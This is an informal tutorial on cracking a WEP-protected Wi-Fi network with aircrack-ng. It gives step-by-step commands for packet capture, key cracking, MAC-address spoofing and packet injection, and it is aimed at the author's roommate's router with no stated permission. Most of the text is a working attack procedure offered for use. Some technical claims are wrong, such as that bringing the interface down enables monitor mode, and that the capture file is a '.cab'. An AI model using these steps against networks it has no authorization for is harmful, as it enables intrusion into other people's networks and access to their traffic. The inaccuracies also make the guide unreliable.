How To Crack WEP In Linux

Im using Ubutnu 8.10, but all the commands are compatible with all other Linux Distros.

1. Open terminal

Sudo -s

(Enter Password)

apt-get install aircrack-ng (Here shows lots of cool shenanigans in verbose mood, just

enjoy)

Note: it might prompt you with something like "this file will take 8995kb.. do u wish

to install [Y/N]" (Correct Answer Being Y for yes)

Alright, you have just installed aircrack-ng on your computer, congratulations!

2. Ifconfig wlan0 down

this command puts your wireless card into "monitor mode." if this line doesnt work

for you, try "ifconfig ath0 down" or the connection type you are using. im going to

continue using wlan0 as that applies to me, you will just replace wlan0 with your

specific device code.

OR iwconfig wlan0 mode monitor if neither of the above work for you. once again, depends on your computer.

 

3. Your goal now is to find your target, my goal is my roommates wireless router which

is using WEP encryption, how convenient!

first, for educational purposes, type airodump-ng into terminal, this shows all the

commands airodump is capable of, very important if you want to go after something a

tad different or specific

We want to find the target, type airodump-ng --showack wlan0

We see that the target Essid is "Rob and Big" the encryption type is WEP, the

BSSID number is "00:22:15:23:6E:E2", and finally the channel number is 11

you must know the enemy well if you want to hack it successfully.

know that we know all this very important information, we shall begin our attack!

airodump-ng -w First --showack --berlin 3000 --bssid 00:22:15:23:6E:E2 -C 11 wlan0

holy shnap! that was alot!, here is what we just did.

-w ->saves all the important stuff to a file (first being the file name)

--showack ->shows some cool information, idk, i like it just cause its always changing,

not really necessary

--berlin 3000 -> keeps the cool numbers on the screen even longer, like i said, not

totally important, but defiantly looks cool! (3000 being the time the numbers are kept

on the screen)

--bssid ->defines to the program what bssid (the router) you want to specifically

capture packets from

-C -> Defines what channel the program to stay on (instead of surfing all 12, it just

monitors one now)

wow! amazing, tons of cool numbers pop up and entertain us! whooo hooo!

what is actually happening is that the program is capturing packets and saving them to

the file you defined above (First)

so break out a can of chef boyardee and chow away, cause its going to be awhile.

You are actually wanting for the number under #Data at the time to reach ~ 10000

to 100000, the more data is being transfered over the network, the faster this will

go.

---

Dude! that number is not going up very fast / or, very very very slow!

Skip to the bottom, i will explain and how to 'fix that'

--

Fantastic! you have ~ 10000 packets and a full stomach, what now?

you have all this information, now you need to decipher it (more commonly know as

'cracking')

KEEP THE AIRODUMP-NG TERMINAL OPEN!

open a new terminal and type

sudo -s

(enter password)

aircrack-ng -a 1 -b 00:22:15:23:6E:E2 First.cab

Cool! what did i just do?

aircrack-ng -> cracking program, can crack WEP and WPA passcodes

-a -> Set the attack mode to WEP (2 is WPA)

-b -> is the network we are attacking (the bssid is 00:22:15:23:6E:E2)

First.cab -> the file airodump saved all the important shenagians to. (note, the

program automatically saves the file as *.cab file)

wait..

wait..

wait..

BAM! the password! Congratulations, you have just won the game.

or

plz collect 5000 more packets, (this is why you left airodump-ng open.) aircrack-ng

will automatically re-attempt to crack again after airodump-ng has collected 5000

more packets. so more chef boyardee, and some more patience...

---

#Data is going slooowwwwwwwww!!! HELP ME!

this is because the user is not actively using the network, you have a choice, wait till

he starts using the network again or 'assist' the network on giving you the packets

you need.

now, this is going to be quite a hassel, but stick with it.

apt-get install macchanger

stop the airodump-ng from working. (i just hit ctrl+c and it stops)

ifconfig wlan0 down

>> the top half of the screen of the terminal of the airodump tell you the network you

are gathering packets for, the bottom half lists mac addresses. important!

with the picture above, im going to use the mac address 00:22:3F:7B:D5:2C

so, macchanger -m 00:22:3F:7B:D5:2C wlan0

Now, your mac address is the same as a computer already accepted by the router!

oooo... awwwww..

now, we get to play with a program called aireplay-ng!

aireplay-ng -3 -b 00:22:15:23:6E:E2 -h 00:22:3F:7B:D5:2C wlan0

--What just happened?

aireplay-ng works buy injecting packets into the router so u get more traffic btwn

the computers. (speeds up the packet retrieval on the airodump-ng side)

-3 is the attack type '00:22:3F:7B:D5:2C' i just explained what i did above

-b is the enemy bssid '00:22:15:23:6E:E2'

-h is your spoofed (faked) mac addresss '00:22:3F:7B:D5:2C'

now, it will start injecting packets.. now start up airodump again and wait some more!

airodump-ng -w First --showack --berlin 3000 --bssid 00:22:15:23:6E:E2 -C 11 wlan0

(just in case you lost it)

WOW! that, is how to crack a WEP key. i hoped you enjoyed this tut.